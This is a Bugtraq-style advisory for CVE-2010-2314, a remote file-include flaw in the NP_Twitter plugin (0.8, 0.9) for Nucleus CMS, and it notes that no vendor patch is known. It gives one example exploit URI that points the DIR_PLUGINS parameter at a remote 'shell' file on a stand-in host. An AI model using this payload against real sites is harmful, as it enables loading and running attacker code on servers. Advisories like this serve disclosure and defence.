NP_Twitter Nucleus Plugin 'DIR_NUCLEUS' Remote File Include Vulnerability

Bugtraq ID:	40453
Class:	Input Validation Error
CVE:	CVE-2010-2314
Remote:	Yes
Local:	No
Published:	May 31 2010 12:00AM
Updated:	Apr 13 2015 09:02PM
Credit:	AntiSecurity
Vulnerable:	The Nucleus Group NP_Twitter 0.9 The Nucleus Group NP_Twitter 0.8
Not Vulnerable:

NP_Twitter Nucleus Plugin 'DIR_NUCLEUS' Remote File Include Vulnerability

NP_Twitter is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

NP_Twitter 0.8 and 0.9 are vulnerable; other versions may also be affected.

NP_Twitter Nucleus Plugin 'DIR_NUCLEUS' Remote File Include Vulnerability

An attacker can exploit this issue via a web client.

The following example URI is available:

http://www.example.com/nucleus/plugins/NP_Twitter.php?DIR_PLUGINS=http://www.example.net/shell?

NP_Twitter Nucleus Plugin 'DIR_NUCLEUS' Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

NP_Twitter Nucleus Plugin 'DIR_NUCLEUS' Remote File Include Vulnerability

References:

• Nucleus CMS Homepage (The Nucleus Group)